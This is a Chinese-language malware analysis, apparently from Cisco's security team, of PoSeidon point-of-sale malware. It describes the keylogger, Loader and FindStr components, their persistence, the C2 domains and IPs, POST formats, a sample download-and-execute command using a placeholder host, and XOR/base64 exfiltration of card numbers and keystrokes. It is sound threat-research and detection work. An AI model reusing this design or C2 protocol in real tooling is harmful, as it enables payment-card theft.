波塞冬(PoSeidon)——深入探究銷售點終端惡意軟件
思科安全解決方案(CSS) 團(tuán)隊由具備法律實施、企業(yè)安全和技術(shù)安全等豐富背景的信息安全專家組成。該團(tuán)隊直接與思科Talos安全情報和研究小組展開合作,旨在識別已知和未知的威脅、量化風(fēng)險并劃分其優(yōu)先級,最大限度降低未來的風(fēng)險。
當(dāng)消費者從零售商處采購時,交易是通過銷售點終端(PoS)系統(tǒng)處理完成的。當(dāng)使用信用卡或借記卡時,PoS系統(tǒng)被用來讀取存儲在信用卡背面磁條中的信息。一旦該信息被從商家處盜取后,它可被編碼到磁條中,并在一張新卡上加以使用。由于攻擊者能夠輕松地利用盜取的信用卡信息牟利,因而針對這一寶貴信息的犯罪市場一直都存在。涉及PoS惡意軟件的事件一直呈現(xiàn)上升勢頭,這對許多大型企業(yè)和家庭式企業(yè)都造成了影響,同時也引起了眾多媒體的關(guān)注??梢钥隙ǖ氖牵罅拷鹑谛畔⒑蛡€人信息的存在,使得這些企業(yè)及其零售PoS系統(tǒng)仍會成為極具吸引力的攻擊目標(biāo)。
概況
今天要介紹的是一款新的針對PoS系統(tǒng)的惡意軟件,這款軟件會在PoS內(nèi)存中尋找信用卡信息,并將這些信息發(fā)送到服務(wù)器,服務(wù)器使用了.ru頂級域名,這些信息可能會被重新賣出去。這個新的惡意軟件家族(我們?nèi)∶麨镻oSeidon)中有些組件,如下圖所示:
首先它會加載Loader,它會試圖留存在目標(biāo)系統(tǒng)中,防止系統(tǒng)重啟。Loader之后會聯(lián)系命令與控制(command and control)服務(wù)器,接收一個包含另一個程序的URL,并下載執(zhí)行。下載下來的程序是FindStr,它會安裝一個鍵盤記錄器,并且在PoS設(shè)備中掃描數(shù)字序列,這些數(shù)字序列就有可能是信用卡號碼。如果經(jīng)過驗證,這些數(shù)字確實是信用卡號碼,鍵盤記錄和信用卡號碼就會被編碼并發(fā)送到一個服務(wù)器。#p#
技術(shù)細(xì)節(jié)
鍵盤記錄器
這個文件的SHA256校驗值是 334079dc9fa5b06fbd68e81de903fcd4e356b4f2d0e8bbd6bdca7891786c39d4,可能是PoS系 統(tǒng)攻擊的源頭。我們把這個文件叫做鍵盤記錄器(KeyLogger)是基于它的調(diào)試信息:
一旦被執(zhí)行,這個文件就會把自身復(fù)制到%SystemRoot%\system32\
這個文件還會打開HKCU\Software\ LogMeIn Ignition,打開并刪除PasswordTicket鍵值,獲取Email鍵值,它還會刪除注冊表目錄樹HKCU\Software \LogMeInIgnition\
文件會使用POST方法把數(shù)據(jù)發(fā)送到下列URI中的一個地址:
wondertechmy[.]com/pes/viewtopic.php wondertechmy[.]ru/pes/viewtopic.php wondwondnew[.]ru/pes/viewtopic.php
URI格式是
uid=%I64u&win=%d.%d&vers=%s
鍵盤記錄器組件是用來竊取密碼的,也有可能是感染機器的初始途徑。
Loader
我們把這個文件叫做loader是基于它的調(diào)試信息:
一經(jīng)運行,Loader會檢查它是不是以以下兩個文件名執(zhí)行的:
WinHost.exe WinHost32.exe
如果不是,它就會確保沒有以WinHost名字正在運行的Windows服務(wù)。Loader會將自身復(fù)制到%SystemRoot%\System32\WinHost.exe,覆蓋掉那里任何可能以相同名字命名的文件。接下來,Loader會啟動一個名為WinHost的服務(wù)。
之所以要這么做是因為即使當(dāng)前用戶注銷,它也要留在內(nèi)存中。如果Loader不能將自己變成服務(wù),它就會把在內(nèi)存中的自己的其他實例終 止掉。然后將自身復(fù)制到%UserProfile%\WinHost32.exe,并且安裝注冊表鍵HKCU\Microsoft\Windows\CurrentVersion\Run\\WinHost32。最后,它會創(chuàng)建一個新進(jìn)程進(jìn)行 %UserProfile%\WinHost32.exe。
既然現(xiàn)在它可以一直留在系統(tǒng)中,Loader就會執(zhí)行下面的命令將自己刪除:
cmd.exe /c del
在內(nèi)存中運行的Loader會嘗試讀取 %SystemRoot%\System32\WinHost.exe.cfg這里的配置文件。 這份文件中有一個URL列表,這些URL列表是要被加到已經(jīng)被硬編碼到Loader的URL列表里的。#p#
然后Loader會聯(lián)系其中某個被硬編碼的C&C服務(wù)器:
linturefa.com xablopefgr.com tabidzuwek.com lacdileftre.ru tabidzuwek.com xablopefgr.com lacdileftre.ru weksrubaz.ru linturefa.ru mifastubiv.ru xablopefgr.ru tabidzuwek.ru
對應(yīng)的IP地址:
151.236.11.167 185.13.32.132 185.13.32.48 REDACTED at request of Federal Law Enforcement 31.184.192.196 91.220.131.116 91.220.131.87
如果上面的某個域名解析到了某個IP地址,程序就會發(fā)送HTTP POST請求,請求使用下面的user-agent字串:
Mozilla/4.0 (compatible; MSIE 8.0;Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729;.NET CLR 3.0.30729; Media Center PC 6.0)
POST數(shù)據(jù)會被發(fā)送到:
- <IP ADDRESS>/ldl01/viewtopic.php
- <IP ADDRESS>/pes2/viewtopic.php
POST數(shù)據(jù)格式為:
uid=%I64u&uinfo=%s&win=%d.%d&bits=%d&vers=%s&build=%s
Loader應(yīng)從C&C服務(wù)器獲取這樣的回應(yīng):
{<命令字符(CommandLetter)>:<參數(shù)(ArgumentString)>}
示例:
{R:http://badguy.com/malwarefilename.exe}
{b:pes13n|373973303|https://01.220.131.116/ldl01/files/pes13n.exe}
獲取和執(zhí)行了服務(wù)器響應(yīng)中的可執(zhí)行文件,PoSeidon的第二部分登場。#p#
FindStr
我們把這個文件叫做FindStr是基于它的調(diào)試信息:
這個文件會在系統(tǒng)中安裝一個很小的鍵盤記錄器,這個鍵盤記錄器和這里的描述極為相似。這個鍵盤記錄器截獲的數(shù)據(jù)稍后會被發(fā)送至服務(wù)器。
這個惡意軟件會在內(nèi)存中尋找特定的數(shù)字序列:
· 以6, 5, 4開頭的16位數(shù)字 (Discover, Visa, Mastercard)
· 以3開頭的15位數(shù)字(AMEX)
然后它會使用Luhn算法驗證這些數(shù)字是不是真的信用卡或借記卡號碼,代碼片段如下:
接下來,它會嘗試解析下面的這些域名,其中有些域名是很有名的數(shù)據(jù)竊取服務(wù)器:
quartlet.com horticartf.com kilaxuntf.ru dreplicag.ru fimzusoln.ru wetguqan.ru
如果上面的某個域名解析到了某個IP地址,程序就會發(fā)送HTTP POST請求,請求使用下面的user-agent字串:
Mozilla/4.0 (compatible; MSIE 8.0;Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729;.NET CLR 3.0.30729; Media Center PC 6.0)
POST數(shù)據(jù)會被發(fā)送到:
- <IPADDRESS>/pes13/viewtopic.php
數(shù)據(jù)格式為:
oprat=2&uid=%I64u&uinfo=%s&win=%d.%d&vers=%s
可選的POST數(shù)據(jù)(data:信用卡號碼,logs:鍵盤記錄數(shù)據(jù))
- &data=<XORed_with_0x2A_then_base64_data_unk>
- logs=<XORed_with_0x2A_then_base64_data_unk>
發(fā)送到服務(wù)器上的信用卡號碼和鍵盤記錄器的數(shù)據(jù)都是經(jīng)過XOR運算并且用base64編碼的。
服務(wù)器的回應(yīng)應(yīng)該是:
這個機制可以讓惡意軟件根據(jù)從服務(wù)器收到的指令進(jìn)行自我更新。#p#
Loader vs FindStr
使用Bindiff對未打包的Loader(版本11.4 )和未打包的FindStr(版本7.1)進(jìn)行對比,結(jié)果顯示62%的函數(shù)相同。惡意軟件背后的攻擊者可能開發(fā)了某些核心函數(shù),并將它們編譯進(jìn)庫,然后他們開發(fā)的其他項目可以直接使用這些函數(shù)。
IOC
點擊查看終端IOC版本
Win.Trojan.PoSeidon.RegistryItem.ioc Win.Trojan.PoSeidon.ProcessItem.ioc Win.Trojan.PoSeidon.FileItem.ioc
域名
linturefa.com xablopefgr.com tabidzuwek.com linturefa.ru xablopefgr.ru tabidzuwek.ru weksrubaz.ru mifastubiv.ru lacdileftre.ru quartlet.com horticartf.com kilaxuntf.ru dreplicag.ru fimzusoln.ru wetguqan.ru
IP地址:
151.236.11.167 185.13.32.132 185.13.32.48 REDACTED at request of Federal Law Enforcement 31.184.192.196 91.220.131.116 91.220.131.87 REDACTED at request of Federal Law Enforcement
結(jié)論
PoSeidon是又一個針對PoS系統(tǒng)的惡意軟件,它顯示出其作者的高超技術(shù)。攻擊者會繼續(xù)針對PoS系統(tǒng)進(jìn)行攻擊,并且使用各種混淆手段逃避檢測。只要PoS攻擊能夠提供回報,攻擊者們就會繼續(xù)研發(fā)新的惡意軟件。網(wǎng)絡(luò)管理員們應(yīng)該要保持警惕,并且使用最佳解決方案保證免受這些惡意軟件的攻擊。
Snort Rules: 33836-33852. 請參照Defense Center or FIREsight 管理終端的更新信息。
保護(hù)用戶防御威脅
我們鼓勵大家通過面向威脅的方法架構(gòu),開始最佳的安全實踐。在當(dāng)今不斷變化的安全形勢下,這種以威脅為中心的、合理的方法架構(gòu),將完全保護(hù)您的網(wǎng)絡(luò)并貫穿“之前、期中、之后”的威脅攻擊的全過程。它基于卓越的可視化能力,持續(xù)的控制能力和高級威脅防御,包括外延網(wǎng)絡(luò)和貫穿攻擊的全過程。